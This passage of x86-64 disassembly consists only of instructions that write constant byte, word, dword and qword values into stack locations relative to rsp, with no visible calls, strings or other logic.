mov word [rsp + 0xc64], ax
mov eax, 0xf5b
mov word [rsp + 0xc68], ax
mov eax, 0x69b
mov word [rsp + 0xc6c], ax
mov dword [rsp + 0x31f0], 0x2fcb9934
mov eax, 0x4ef2
mov word [rsp + 0xc70], ax
mov eax, 0x1ac4
mov word [rsp + 0xc74], ax
mov byte [rsp + 0xd1], 0x23
movabs rax, 0x5494b55f567dcefa
mov qword [rsp + 0xa898], rax
mov byte [rsp + 0xd2], 0x61
movabs rax, 0x42365af522431a2b
mov qword [rsp + 0xa8a0], rax
mov dword [rsp + 0x31f4], 0x6e07bc05
movabs rax, 0x25e52b57a68f8ef1
mov qword [rsp + 0xa8a8], rax
movabs rax, 0x3c59425a509f864
mov qword [rsp + 0xa8b0], rax
mov eax, 0x27da
mov word [rsp + 0xc78], ax
movabs rax, 0x76ebe5a867707ec4
mov qword [rsp + 0xa8b8], rax
mov eax, 0x7375
mov word [rsp + 0xc7c], ax
movabs rax, 0x59bdaa1e4726965d
mov qword [rsp + 0xa8c0], rax
mov dword [rsp + 0x31f8], 0x19318dde
mov byte [rsp + 0xd3], 0x58
mov byte [rsp + 0xd4], 0x7d
movabs rax, 0x2b5eff70e2c1f2fa
mov qword [rsp + 0xa8c8], rax
mov eax, 0xe78
mov word [rsp + 0xc80], ax
movabs rax, 0x7ad28594a58e2365
mov qword [rsp + 0xa8d0], rax
mov eax, 0xe34
mov word [rsp + 0xc84], ax
mov dword [rsp + 0x31fc], 0x545944e8
mov dword [rsp + 0x3200], 0x3e25600d
mov eax, 0xf40
mov word [rsp + 0xc88], ax
mov dword [rsp + 0x3204], 0x79b432f3
mov eax, 0x8f1
mov word [rsp + 0xc8c], ax
mov dword [rsp + 0x3208], 0x3ec6dbd9
mov eax, 0x4b6c
mov word [rsp + 0xc90], ax
mov byte [rsp + 0xd5], 0x6d
mov eax, 0x37a
mov word [rsp + 0xc94], ax
mov eax, 0x79ee
mov word [rsp + 0xc98], ax
mov byte [rsp + 0xd6], 0x20
mov eax, 0x5f37
mov word [rsp + 0xc9c], ax
mov eax, 0x6c5c
mov word [rsp + 0xca0], ax
mov byte [rsp + 0xd7], 0x60
movabs rax, 0x256b6c1d2152df06
mov qword [rsp + 0xa8d8], rax
movabs rax, 0xb65d30ca74e280c
mov qword [rsp + 0xa8e0], rax
movabs rax, 0x67530ef5edac7f4a
mov qword [rsp + 0xa8e8], rax
mov dword [rsp + 0x320c], 0xa6ee903
mov byte [rsp + 0xd8], 3
mov eax, 0x25f
mov word [rsp + 0xca4], ax
movabs rax, 0x54e473d9712a2254
mov qword [rsp + 0xa8f0], rax
mov dword [rsp + 0x3210], 0x309dda63
mov byte [rsp + 0xd9], 0x61
mov dword [rsp + 0x3214], 0xb1928c0d
mov eax, 0xa46
mov word [rsp + 0xca8], ax
mov byte [rsp + 0xda], 0x11
movabs rax, 0x52c8e2dd505cf030
mov qword [rsp + 0xa8f8], rax
mov eax, 0x5127
mov word [rsp + 0xcac], ax
mov eax, 0x3c71
mov word [rsp + 0xcb0], ax
mov byte [rsp + 0xdb], 0xee
movabs rax, 0xd8585f5762b5bf40
mov qword [rsp + 0xa900], rax
movabs rax, 0x4e687fa6e54e84b2
mov qword [rsp + 0xa908], rax
mov byte [rsp + 0xdc], 0x5f
mov dword [rsp + 0x3218], 0x88e2a1f4
mov dword [rsp + 0x321c], 0x78ea19e1
movabs rax, 0x1a8eb500c66ff8c3
mov qword [rsp + 0xa910], rax
mov dword [rsp + 0x3220], 0x22b56d48
mov dword [rsp + 0x3224], 0xb64b0469
mov byte [rsp + 0xdd], 0x47
mov byte [rsp + 0xde], 0xc9
mov dword [rsp + 0x3228], 0x594a1e13
mov byte [rsp + 0xdf], 0x71
mov byte [rsp + 0xe0], 0xbd
mov byte [rsp + 0xe1], 0x36
movabs rax, 0x34b260c3869e724a
mov qword [rsp + 0xa918], rax
mov dword [rsp + 0x322c], 0x5021f911
mov dword [rsp + 0x3230], 0x616e194b
mov dword [rsp + 0x3234], 0x6e3863ae
movabs rax, 0x2230267f9ced4c32
mov qword [rsp + 0xa920], rax
mov dword [rsp + 0x3238], 0x465d0ed5
mov eax, 0x1fa
mov word [rsp + 0xcb4], ax
mov byte [rsp + 0xe2], 0xf9
mov byte [rsp + 0xe3], 0x52
mov eax, 0xc9
mov word [rsp + 0xcb8], ax
mov dword [rsp + 0x323c], 0x81e59c7
movabs rax, 0x16fe9cd896d920b2
mov qword [rsp + 0xa928], rax
mov dword [rsp + 0x3240], 0xc5a62d6a
movabs rax, 0x7c18a19f14221d11
mov qword [rsp + 0xa930], rax
mov dword [rsp + 0x3244], 0x4f6be018
mov byte [rsp + 0xe4], 0x91
mov eax, 0xa00
mov word [rsp + 0xcbc], ax
mov byte [rsp + 0xe5], 0x5f
mov byte [rsp + 0xe6], 0x3d
mov dword [rsp + 0x3248], 0x7b901326
mov dword [rsp + 0x324c], 0x44c71826
movabs rax, 0x27caafab79a22f29
mov qword [rsp + 0xa938], rax
mov byte [rsp + 0xe7], 0xa7
mov eax, 0x316
mov word [rsp + 0xcc0], ax
mov eax, 0x3abb
mov word [rsp + 0xcc4], ax
mov byte [rsp + 0xe8], 0x7a
mov dword [rsp + 0x3250], 0xe154c05a
movabs rax, 0x9177c353dfa87214
mov qword [rsp + 0xa940], rax
mov dword [rsp + 0x3254], 0x73e63d63
movabs rax, 0x47d058109408f565
mov qword [rsp + 0xa948], rax
mov eax, 0x287
mov word [rsp + 0xcc8], ax
mov eax, 0xd89
mov word [rsp + 0xccc], ax
movabs rax, 0x62101628e41d7909
mov qword [rsp + 0xa950], rax
mov dword [rsp + 0x3258], 0x1d59ac07
mov eax, 0x3ed2
mov word [rsp + 0xcd0], ax
mov dword [rsp + 0x325c], 0x7ae3124c
movabs rax, 0x6675af63bc27a83a
mov qword [rsp + 0xa958], rax
mov byte [rsp + 0xe9], 0xd9
movabs rax, 0x5fff1af12f3bd7ba
mov qword [rsp + 0xa960], rax
mov dword [rsp + 0x3260], 0x82903372
mov eax, 0xd91
mov word [rsp + 0xcd4], ax
mov eax, 0x2fd0
mov word [rsp + 0xcd8], ax
mov eax, 0x3d0d
mov word [rsp + 0xcdc], ax
mov eax, 0x96b
mov word [rsp + 0xce0], ax
mov eax, 0x5a9
mov word [rsp + 0xce4], ax
mov dword [rsp + 0x3264], 0xd18b838c
mov byte [rsp + 0xea], 0x25
mov byte [rsp + 0xeb], 0x55
mov eax, 0xc4f
mov word [rsp + 0xce8], ax
mov byte [rsp + 0xec], 0xa7
mov eax, 0x6adb
mov word [rsp + 0xcec], ax
mov eax, 0x176
mov word [rsp + 0xcf0], ax
movabs rax, 0x2f318bf4f09d0841
mov qword [rsp + 0xa968], rax
mov byte [rsp + 0xed], 0x92
mov dword [rsp + 0x3268], 0x1181630d
movabs rax, 0x1b9ac51464734b6d
mov qword [rsp + 0xa970], rax
mov eax, 0x119
mov word [rsp + 0xcf4], ax
movabs rax, 0x13301102d8f4f298
mov qword [rsp + 0xa978], rax
mov byte [rsp + 0xee], 0x3e
movabs rax, 0xcf31a9df66ca47b
mov qword [rsp + 0xa980], rax
mov dword [rsp + 0x326c], 0x5f56eff4
mov eax, 0x1de
mov word [rsp + 0xcf8], ax
movabs rax, 0x7d612807a263e273
mov qword [rsp + 0xa988], rax
mov byte [rsp + 0xef], 0x7a
mov dword [rsp + 0x3270], 0x46586f92
mov dword [rsp + 0x3274], 0x227a6f95
mov dword [rsp + 0x3278], 0x5c7aa64a
mov eax, 0x7ebc
mov word [rsp + 0xcfc], ax
mov eax, 0x3c44
mov word [rsp + 0xd00], ax
mov byte [rsp + 0xf0], 0x54
mov eax, 0xa64
mov word [rsp + 0xd04], ax
mov eax, 0x47dd
mov word [rsp + 0xd08], ax
mov dword [rsp + 0x327c], 0x5092c0d5
mov byte [rsp + 0xf1], 0x6d
movabs rax, 0x5649e5499fbd5364
mov qword [rsp + 0xa990], rax
mov eax, 0xaad
mov word [rsp + 0xd0c], ax
movabs rax, 0x829b09d693e2e8ee
mov qword [rsp + 0xa998], rax
mov eax, 0x18e
mov word [rsp + 0xd10], ax
mov byte [rsp + 0xf2], 0x19
mov byte [rsp + 0xf3], 0xb0
mov dword [rsp + 0x3280], 0x546a7df3
mov dword [rsp + 0x3284], 0x7f9119ee
mov dword [rsp + 0x3288], 0x692dbb2e
movabs rax, 0xaeae0de7b7d63394
mov qword [rsp + 0xa9a0], rax
mov eax, 0x7cc7
mov word [rsp + 0xd14], ax
movabs rax, 0x602e3d41bdb1144a
mov qword [rsp + 0xa9a8], rax
mov eax, 0x5d8
mov word [rsp + 0xd18], ax
mov byte [rsp + 0xf4], 0x47
mov dword [rsp + 0x328c], 0xd755a161
mov eax, 0x4141
mov word [rsp + 0xd1c], ax
mov byte [rsp + 0xf5], 0xd6
mov dword [rsp + 0x3290], 0xba6dc20
mov eax, 0x54f
mov word [rsp + 0xd20], ax
mov dword [rsp + 0x3294], 0xe02a3421
mov dword [rsp + 0x3298], 0x30651be6
movabs rax, 0xb9ce58bb71a53933
mov qword [rsp + 0xa9b0], rax
mov byte [rsp + 0xf6], 6
mov dword [rsp + 0x329c], 0x25fd2c87
mov byte [rsp + 0xf7], 0x2f
mov dword [rsp + 0x32a0], 0x4c29358e
mov dword [rsp + 0x32a4], 0xafe64d4e
mov eax, 0x304
mov word [rsp + 0xd24], ax
mov eax, 0x1381
mov word [rsp + 0xd28], ax
mov byte [rsp + 0xf8], 0xbf
mov eax, 0x6fff
mov word [rsp + 0xd2c], ax
mov eax, 0x7829
mov word [rsp + 0xd30], ax
mov dword [rsp + 0x32a8], 0x41166d1e
mov eax, 0xd79
mov word [rsp + 0xd34], ax
mov eax, 0x695
mov word [rsp + 0xd38], ax
mov eax, 0x79a2
mov word [rsp + 0xd3c], ax
mov byte [rsp + 0xf9], 0x67
mov dword [rsp + 0x32ac], 0x78583c82
mov dword [rsp + 0x32b0], 0x3d40aacc
movabs rax, 0xa678667578ec7d05
mov qword [rsp + 0xa9b8], rax
mov byte [rsp + 0xfa], 0x3e
mov dword [rsp + 0x32b4], 0x1dbc2ce
mov byte [rsp + 0xfb], 0x50
mov eax, 0x7b6c
mov word [rsp + 0xd40], ax
movabs rax, 0xf789fd902d1dcaad
mov qword [rsp + 0xa9c0], rax
movabs rax, 0x33e85a7f9a6fe239
mov qword [rsp + 0xa9c8], rax
mov dword [rsp + 0x32b8], 0xa3f8b18f
movabs rax, 0x5197cd0f4fe6926e
mov qword [rsp + 0xa9d0], rax
mov dword [rsp + 0x32bc], 0x7efc8a30
movabs rax, 0x76be87812c58ce87
mov qword [rsp + 0xa9d8], rax
mov dword [rsp + 0x32c0], 0x71999d21
mov dword [rsp + 0x32c4], 0x21b70736
movabs rax, 0x1613893d69c586ca
mov qword [rsp + 0xa9e0], rax
mov eax, 0x7f3c
mov word [rsp + 0xd44], ax
mov dword [rsp + 0x32c8], 0xa733eba6
mov eax, 0x2f6
mov word [rsp + 0xd48], ax
movabs rax, 0x2c5911d974aa22e
mov qword [rsp + 0xa9e8], rax
mov dword [rsp + 0x32cc], 0x6bf3dcda
mov dword [rsp + 0x32d0], 0x1066dd85
mov eax, 0x333
mov word [rsp + 0xd4c], ax
movabs rax, 0xd6169d83355cf50
mov qword [rsp + 0xa9f0], rax
mov eax, 0x7ea1
mov word [rsp + 0xd50], ax
mov eax, 0x2bd
mov word [rsp + 0xd54], ax
mov dword [rsp + 0x32d4], 0x86ff5895
mov dword [rsp + 0x32d8], 0x733988ed
movabs rax, 0x27befece63650fb2
mov qword [rsp + 0xa9f8], rax
mov dword [rsp + 0x32dc], 0x5d2e1e85
movabs rax, 0x6c3d5d5c4d52a447
mov qword [rsp + 0xaa00], rax
mov byte [rsp + 0xfc], 0xcc
mov byte [rsp + 0xfd], 0x73
mov dword [rsp + 0x32e0], 0xab2e8f6e
mov byte [rsp + 0xfe], 0xb
movabs rax, 0x44b38927e7a7e48
mov qword [rsp + 0xaa08], rax
mov byte [rsp + 0xff], 0x30
movabs rax, 0x750fbcd3e1f15954
mov qword [rsp + 0xaa10], rax
movabs rax, 0x2124dfa8cd955b45
mov qword [rsp + 0xaa18], rax
movabs rax, 0x304fa01c95c12620
mov qword [rsp + 0xaa20], rax
mov dword [rsp + 0x32e4], 0x7a12f20
movabs rax, 0x2390325e775a0642
mov qword [rsp + 0xaa28], rax
mov eax, 0x7fb4
mov word [rsp + 0xd58], ax
mov byte [rsp + 0x100], 0xba
movabs rax, 0x4f60f5bfcde9aeec
mov qword [rsp + 0xaa30], rax
movabs rax, 0x6ef3107d198e3bfd
mov qword [rsp + 0xaa38], rax
mov dword [rsp + 0x32e8], 0x79c7e46b
mov byte [rsp + 0x101], 0x37
mov byte [rsp + 0x102], 0x72
movabs rax, 0x2f2063a9dcdb9004
mov qword [rsp + 0xaa40], rax
mov dword [rsp + 0x32ec], 0x20b4b6d8
movabs rax, 0x42313355e0625d18
mov qword [rsp + 0xaa48], rax
mov eax, 0x4ec7
mov word [rsp + 0xd5c], ax
mov dword [rsp + 0x32f0], 0x7bca1777
mov byte [rsp + 0x103], 0x32
mov byte [rsp + 0x104], 0x8a
mov byte [rsp + 0x105], 0x23
movabs rax, 0xd0cda8c473fe3794
mov qword [rsp + 0xaa50], rax
mov byte [rsp + 0x106], 0x33
mov byte [rsp + 0x107], 0xe6
mov dword [rsp + 0x32f4], 0x47ac8afc
movabs rax, 0x42fedf21759018ca
mov qword [rsp + 0xaa58], rax
mov dword [rsp + 0x32f8], 0x1276932d
mov dword [rsp + 0x32fc], 0x3d3fa3a9
mov eax, 0x54de
mov word [rsp + 0xd60], ax
movabs rax, 0x107bf3c27e8247da
mov qword [rsp + 0xaa60], rax
mov dword [rsp + 0x3300], 0x8081b3ce
mov eax, 0x5c6
mov word [rsp + 0xd64], ax
mov eax, 0x2055
mov word [rsp + 0xd68], ax
mov byte [rsp + 0x108], 0x38
mov dword [rsp + 0x3304], 0xe6e4ffe3
movabs rax, 0xb28cd38c4beb0f14
mov qword [rsp + 0xaa68], rax
movabs rax, 0x2abcb9c63125ad83
mov qword [rsp + 0xaa70], rax
mov eax, 0x194d
mov word [rsp + 0xd6c], ax
mov eax, 0x1d21
mov word [rsp + 0xd70], ax
movabs rax, 0x29a8e43593c03444
mov qword [rsp + 0xaa78], rax
mov byte [rsp + 0x109], 0xb5
movabs rax, 0x1c4f1e22c487dc15
mov qword [rsp + 0xaa80], rax
mov dword [rsp + 0x3308], 0x1da01a14
movabs rax, 0x73f0f2bd153cadd7
mov qword [rsp + 0xaa88], rax
mov eax, 0x1f
mov word [rsp + 0xd74], ax
mov eax, 0x6308
mov word [rsp + 0xd78], ax
mov byte [rsp + 0x10a], 0x25
mov dword [rsp + 0x330c], 0x4cd2ae48
mov byte [rsp + 0x10b], 0x1e
mov byte [rsp + 0x10c], 0x5d
mov dword [rsp + 0x3310], 0x85257fe8
movabs rax, 0x18cf36dee406e799
mov qword [rsp + 0xaa90], rax
movabs rax, 0x368f4c769cb33f68
mov qword [rsp + 0xaa98], rax
movabs rax, 0xcfb225a8156921d1
mov qword [rsp + 0xaaa0], rax
movabs rax, 0x6d74d9bd78cd873e
mov qword [rsp + 0xaaa8], rax
mov eax, 0xc3a
mov word [rsp + 0xd7c], ax
mov eax, 0x15c
mov word [rsp + 0xd80], ax
movabs rax, 0x773a4d121b37645c
mov qword [rsp + 0xaab0], rax
mov byte [rsp + 0x10d], 6
movabs rax, 0x365c154d0a1a8804
mov qword [rsp + 0xaab8], rax
movabs rax, 0x2638444cee8b7f18
mov qword [rsp + 0xaac0], rax
mov eax, 0x2176
mov word [rsp + 0xd84], ax
movabs rax, 0xd0afc148bd188014
mov qword [rsp + 0xaac8], rax
mov dword [rsp + 0x3314], 0x5de88884
mov eax, 0x1df
mov word [rsp + 0xd88], ax
mov byte [rsp + 0x10e], 0xaa
mov dword [rsp + 0x3318], 0x80efc04
mov dword [rsp + 0x331c], 0x7fd41039
mov byte [rsp + 0x10f], 0x7e
mov byte [rsp + 0x110], 0x65
movabs rax, 0x60164ca5c4d162c8
mov qword [rsp + 0xaad0], rax
mov dword [rsp + 0x3320], 0xd1ae4ad7
mov dword [rsp + 0x3324], 0x441a5ffb
mov eax, 0x526
mov word [rsp + 0xd8c], ax
mov eax, 0x5d0
mov word [rsp + 0xd90], ax
mov byte [rsp + 0x111], 0x46
mov eax, 0xbd
mov word [rsp + 0xd94], ax
movabs rax, 0x9b89a349b5c02aad
mov qword [rsp + 0xaad8], rax
mov byte [rsp + 0x112], 0x37
mov byte [rsp + 0x113], 0x6b
mov eax, 0x40ea
mov word [rsp + 0xd98], ax
mov byte [rsp + 0x114], 0x76
mov dword [rsp + 0x3328], 0x2e34d053
mov eax, 0x9f2
mov word [rsp + 0xd9c], ax
mov byte [rsp + 0x115], 0xc6
movabs rax, 0x5c53b224885de9fa
mov qword [rsp + 0xaae0], rax
mov eax, 0x309f
mov word [rsp + 0xda0], ax
movabs rax, 0xb3832133688b402d
mov qword [rsp + 0xaae8], rax
mov eax, 0x5be3
mov word [rsp + 0xda4], ax
mov dword [rsp + 0x332c], 0x5fe3eff8
mov byte [rsp + 0x116], 0x5e
mov byte [rsp + 0x117], 0x26
mov dword [rsp + 0x3330], 0x23f65e40
mov dword [rsp + 0x3334], 0x44eb8bb3
mov eax, 0x1276
mov word [rsp + 0xda8], ax
mov dword [rsp + 0x3338], 0x65c4eb2f
mov byte [rsp + 0x118], 0x6d
movabs rax, 0x3b5e1fec9bf48ca6
mov qword [rsp + 0xaaf0], rax
mov eax, 0x812
mov word [rsp + 0xdac], ax
mov eax, 0x1d81
mov word [rsp + 0xdb0], ax
mov dword [rsp + 0x333c], 0x7bc878f8
mov byte [rsp + 0x119], 0xee
mov eax, 0x67f
mov word [rsp + 0xdb4], ax
mov eax, 0x905
mov word [rsp + 0xdb8], ax
movabs rax, 0x25b7e116fe3708b2
mov qword [rsp + 0xaaf8], rax
mov byte [rsp + 0x11a], 0x37
mov dword [rsp + 0x3340], 0x3b4a6bed
mov byte [rsp + 0x11b], 0xc6
mov byte [rsp + 0x11c], 0x62
mov byte [rsp + 0x11d], 0xa
mov dword [rsp + 0x3344], 0x5047c028
movabs rax, 0x1127fe93b50f8f33
mov qword [rsp + 0xab00], rax
movabs rax, 0x3ce28fd324b9b197
mov qword [rsp + 0xab08], rax
mov eax, 0x48a
mov word [rsp + 0xdbc], ax
mov byte [rsp + 0x11e], 0x91
mov byte [rsp + 0x11f], 0x17
mov byte [rsp + 0x120], 0x62
mov byte [rsp + 0x121], 0x51
mov byte [rsp + 0x122], 0x21
mov eax, 0x473
mov word [rsp + 0xdc0], ax
mov dword [rsp + 0x3348], 0x7efc42a0
mov eax, 0x76a3
mov word [rsp + 0xdc4], ax
movabs rax, 0x9800da489d89a6e
mov qword [rsp + 0xab10], rax
mov eax, 0x12b8
mov word [rsp + 0xdc8], ax
movabs rax, 0x68b0ed26df5b167a
mov qword [rsp + 0xab18], rax
mov dword [rsp + 0x334c], 0xe223ae9e
mov byte [rsp + 0x123], 0xab
mov byte [rsp + 0x124], 0x23
mov dword [rsp + 0x3350], 0xc3bbf989
mov eax, 0xc6d
mov word [rsp + 0xdcc], ax
movabs rax, 0xe859bf6c42139422
mov qword [rsp + 0xab20], rax
mov dword [rsp + 0x3354], 0xeee319fe
mov dword [rsp + 0x3358], 0xaf4ab69
mov eax, 0x1bed
mov word [rsp + 0xdd0], ax
mov byte [rsp + 0x125], 0x30
mov eax, 0xc72
mov word [rsp + 0xdd4], ax
mov byte [rsp + 0x126], 0x5c
movabs rax, 0x4314ac80072bef24
mov qword [rsp + 0xab28], rax
mov dword [rsp + 0x335c], 0x890d0e1b
mov eax, 0x3e6
mov word [rsp + 0xdd8], ax
mov dword [rsp + 0x3360], 0x5ff84b46
mov byte [rsp + 0x127], 0xd
mov dword [rsp + 0x3364], 0x7a300ed3
mov dword [rsp + 0x3368], 0x5b5d14bd
mov byte [rsp + 0x128], 0x2d
mov eax, 0xc50
mov word [rsp + 0xddc], ax
mov eax, 0x746
mov word [rsp + 0xde0], ax
movabs rax, 0x1f85ba083a0bed20
mov qword [rsp + 0xab30], rax
mov eax, 0x3e7
mov word [rsp + 0xde4], ax
mov dword [rsp + 0x336c], 0x135c2976
mov byte [rsp + 0x129], 0x4b
mov eax, 0x1af
mov word [rsp + 0xde8], ax
mov byte [rsp + 0x12a], 0x36
mov dword [rsp + 0x3370], 0x6c15813
mov dword [rsp + 0x3374], 0xdbb527f
movabs rax, 0x16559d6cb18874c4
mov qword [rsp + 0xab38], rax
mov dword [rsp + 0x3378], 0xd65519e6
movabs rax, 0x3cd49631da91f03c
mov qword [rsp + 0xab40], rax
mov dword [rsp + 0x337c], 0x3e13f332
mov eax, 0x8a4
mov word [rsp + 0xdec], ax
mov dword [rsp + 0x3380], 0x2692bc20
mov dword [rsp + 0x3384], 0x6b178348
mov dword [rsp + 0x3388], 0x866b46e3
mov eax, 0x41a9
mov word [rsp + 0xdf0], ax
movabs rax, 0x6296514ab1770dc0
mov qword [rsp + 0xab48], rax
mov eax, 0x7cd
mov word [rsp + 0xdf4], ax
mov dword [rsp + 0x338c], 0x28da6a9e
movabs rax, 0x9dcf90da89cf8eec
mov qword [rsp + 0xab50], rax
movabs rax, 0x7373551ad6533950
mov qword [rsp + 0xab58], rax
mov byte [rsp + 0x12b], 0x20
mov byte [rsp + 0x12c], 0x6c
movabs rax, 0x6a5e76d40c472929
mov qword [rsp + 0xab60], rax
movabs rax, 0x2bb5ebe7bded314b
mov qword [rsp + 0xab68], rax
mov eax, 0x975
mov word [rsp + 0xdf8], ax
movabs rax, 0x3882400f4cb25f1d
mov qword [rsp + 0xab70], rax
mov eax, 0x6412
mov word [rsp + 0xdfc], ax
mov byte [rsp + 0x12d], 0x44
mov dword [rsp + 0x3390], 0x22d28f4d
mov eax, 0xbf
mov word [rsp + 0xe00], ax
movabs rax, 0x2a33bee306418ab2
mov qword [rsp + 0xab78], rax
mov dword [rsp + 0x3394], 0x4f4cdc86
mov eax, 0xcc2
mov word [rsp + 0xe04], ax
movabs rax, 0xdcc4ad24d9cde3e3
mov qword [rsp + 0xab80], rax
mov eax, 0x484e
mov word [rsp + 0xe08], ax
movabs rax, 0x599bce5fdefc87ab
mov qword [rsp + 0xab88], rax
mov byte [rsp + 0x12e], 0x47
movabs rax, 0xf11c2b54d8bbbe04
mov qword [rsp + 0xab90], rax
movabs rax, 0x3df10d96df3d29e8
mov qword [rsp + 0xab98], rax
movabs rax, 0xd6fd2be73c76aa81
mov qword [rsp + 0xaba0], rax
mov byte [rsp + 0x12f], 0x98
mov byte [rsp + 0x130], 0x76
mov byte [rsp + 0x131], 0x71
mov dword [rsp + 0x3398], 0x26283530
mov byte [rsp + 0x132], 0x63
movabs rax, 0x1c3da9b369048d1
mov qword [rsp + 0xaba8], rax
mov dword [rsp + 0x339c], 0x6fa9368c
mov dword [rsp + 0x33a0], 0x7ac3481f
movabs rax, 0x7b816cc5937e8ba4
mov qword [rsp + 0xabb0], rax
mov eax, 0x694c
mov word [rsp + 0xe0c], ax
mov eax, 0x8f0
mov word [rsp + 0xe10], ax
mov byte [rsp + 0x133], 0x1f
mov byte [rsp + 0x134], 0x2d
mov eax, 0x5fa
mov word [rsp + 0xe14], ax
movabs rax, 0x56e3af2f8a2abb81
mov qword [rsp + 0xabb8], rax
mov byte [rsp + 0x135], 0x3c
mov eax, 0xd6
mov word [rsp + 0xe18], ax
mov eax, 0x18da
mov word [rsp + 0xe1c], ax
movabs rax, 0x84ca5268f2c3fd71
mov qword [rsp + 0xabc0], rax
mov eax, 0x36f1
mov word [rsp + 0xe20], ax
mov dword [rsp + 0x33a4], 0xb3660b51
mov eax, 0xaf4
mov word [rsp + 0xe24], ax
mov dword [rsp + 0x33a8], 0x549c983f
mov eax, 0x105
mov word [rsp + 0xe28], ax
mov byte [rsp + 0x136], 0x7f
mov dword [rsp + 0x33ac], 0xd8d921cd
mov eax, 0x9a1
mov word [rsp + 0xe2c], ax
mov eax, 0xa9c
mov word [rsp + 0xe30], ax
mov dword [rsp + 0x33b0], 0x16d3f9ba
mov dword [rsp + 0x33b4], 0x26334ec2
movabs rax, 0x4787318791322f00
mov qword [rsp + 0xabc8], rax
mov dword [rsp + 0x33b8], 0x21924272
mov eax, 0xad9
mov word [rsp + 0xe34], ax
mov dword [rsp + 0x33bc], 0xf23491f9
mov byte [rsp + 0x137], 0x36
mov dword [rsp + 0x33c0], 0x62be259d
mov eax, 0xc39
mov word [rsp + 0xe38], ax
mov byte [rsp + 0x138], 0x3b
movabs rax, 0xaaeae2ffd360e9f5
mov qword [rsp + 0xabd0], rax
mov eax, 0x256
mov word [rsp + 0xe3c], ax
mov eax, 0x191f
mov word [rsp + 0xe40], ax
mov eax, 0xc1e
mov word [rsp + 0xe44], ax
mov dword [rsp + 0x33c4], 0x89d85c05
mov byte [rsp + 0x139], 3
mov eax, 0x176
mov word [rsp + 0xe48], ax
movabs rax, 0x202238c09d80955d
mov qword [rsp + 0xabd8], rax
mov byte [rsp + 0x13a], 0x14
mov dword [rsp + 0x33c8], 0x66d36955
mov eax, 0x5e7
mov word [rsp + 0xe4c], ax
mov byte [rsp + 0x13b], 0x15
movabs rax, 0x5d2287ab2f0b1b2e
mov qword [rsp + 0xabe0], rax
mov eax, 0x64c
mov word [rsp + 0xe50], ax
mov eax, 0x1d08
mov word [rsp + 0xe54], ax
mov eax, 0x6f80
mov word [rsp + 0xe58], ax
mov dword [rsp + 0x33cc], 0x15a7fdce
mov eax, 0x99a
mov word [rsp + 0xe5c], ax
mov dword [rsp + 0x33d0], 0xc7b444e1
movabs rax, 0x516a8bedd5b4f920
mov qword [rsp + 0xabe8], rax
mov dword [rsp + 0x33d4], 0x392c190a
mov byte [rsp + 0x13c], 0x14
mov dword [rsp + 0x33d8], 0x434efd5e
mov byte [rsp + 0x13d], 0x7b
mov eax, 0xf22
mov word [rsp + 0xe60], ax
mov dword [rsp + 0x33dc], 0x57aa6c75
mov eax, 0x4df
mov word [rsp + 0xe64], ax
mov eax, 0x5b6
mov word [rsp + 0xe68], ax
mov eax, 0x2018
mov word [rsp + 0xe6c], ax
mov byte [rsp + 0x13e], 0x4a
mov byte [rsp + 0x13f], 0x30
mov eax, 2
mov word [rsp + 0xe70], ax
movabs rax, 0xd0bd49aa4a7cdb09
mov qword [rsp + 0xabf0], rax
mov dword [rsp + 0x33e0], 0xf95f0e41
mov dword [rsp + 0x33e4], 0xe6353c30
movabs rax, 0x5a3b4590b109003
mov qword [rsp + 0xabf8], rax
mov eax, 0x1134
mov word [rsp + 0xe74], ax
movabs rax, 0x4b8e2290871fd67e
mov qword [rsp + 0xac00], rax
movabs rax, 0x62fe9b90a1b99a42
mov qword [rsp + 0xac08], rax
mov dword [rsp + 0x33e8], 0x63d88c33
mov dword [rsp + 0x33ec], 0x1f095891
movabs rax, 0xfd79701dce7b1e09
mov qword [rsp + 0xac10], rax
mov byte [rsp + 0x140], 0x74
movabs rax, 0x4b75e7d4a27d4c8e
mov qword [rsp + 0xac18], rax
mov dword [rsp + 0x33f0], 0x4aab4b98
mov byte [rsp + 0x141], 3
mov eax, 0x69f
mov word [rsp + 0xe78], ax
mov byte [rsp + 0x142], 0x26
movabs rax, 0x7ea4343204db4d31
mov qword [rsp + 0xac20], rax
mov dword [rsp + 0x33f4], 0xb7fa6abe
movabs rax, 0x6fef821315087579
mov qword [rsp + 0xac28], rax
mov byte [rsp + 0x143], 0x37
mov dword [rsp + 0x33f8], 0x6dd6f0eb
mov byte [rsp + 0x144], 0x15
mov dword [rsp + 0x33fc], 0x23fb3bf1
mov dword [rsp + 0x3400], 0xc09b77b3
mov dword [rsp + 0x3404], 0x59b420a
mov byte [rsp + 0x145], 0x47
movabs rax, 0x5bfaab52a39367ce
mov qword [rsp + 0xac30], rax
mov byte [rsp + 0x146], 0xb
movabs rax, 0x36dc1a574e9ba42a
mov qword [rsp + 0xac38], rax
mov dword [rsp + 0x3408], 0x1ab27703
mov eax, 0xb7a
mov word [rsp + 0xe7c], ax
movabs rax, 0x5e90404fa7e945fa
mov qword [rsp + 0xac40], rax
mov byte [rsp + 0x147], 0x16
movabs rax, 0x250d940d368a5ea2
mov qword [rsp + 0xac48], rax
mov byte [rsp + 0x148], 0x7e
mov byte [rsp + 0x149], 6
mov eax, 0x2064
mov word [rsp + 0xe80], ax
mov eax, 0x5ccb
mov word [rsp + 0xe84], ax
mov byte [rsp + 0x14a], 0x5c
mov eax, 0x524a
mov word [rsp + 0xe88], ax
mov eax, 0xa35
mov word [rsp + 0xe8c], ax
mov dword [rsp + 0x340c], 0xc1e3dd80
mov eax, 0xcd3
mov word [rsp + 0xe90], ax
mov eax, 0x17c2
mov word [rsp + 0xe94], ax
mov dword [rsp + 0x3410], 0x1ada3ab2
mov dword [rsp + 0x3414], 0x602588f1
movabs rax, 0x76ab4b4d7310535d
mov qword [rsp + 0xac50], rax
mov byte [rsp + 0x14b], 0x76
mov byte [rsp + 0x14c], 0x25
mov byte [rsp + 0x14d], 0x35
mov dword [rsp + 0x3418], 0xda1b57f4
mov eax, 0x41e6
mov word [rsp + 0xe98], ax
mov dword [rsp + 0x341c], 0x14856221
movabs rax, 0xee91ce9b595ad680
mov qword [rsp + 0xac58], rax
mov byte [rsp + 0x14e], 0xbc
movabs rax, 0xc6002d21d0cc2b5
mov qword [rsp + 0xac60], rax
mov dword [rsp + 0x3420], 0x58dc1167
movabs rax, 0x53b90df954b4ff04
mov qword [rsp + 0xac68], rax
movabs rax, 0x361dcc3aa1881a81
mov qword [rsp + 0xac70], rax
mov eax, 0x32b
mov word [rsp + 0xe9c], ax
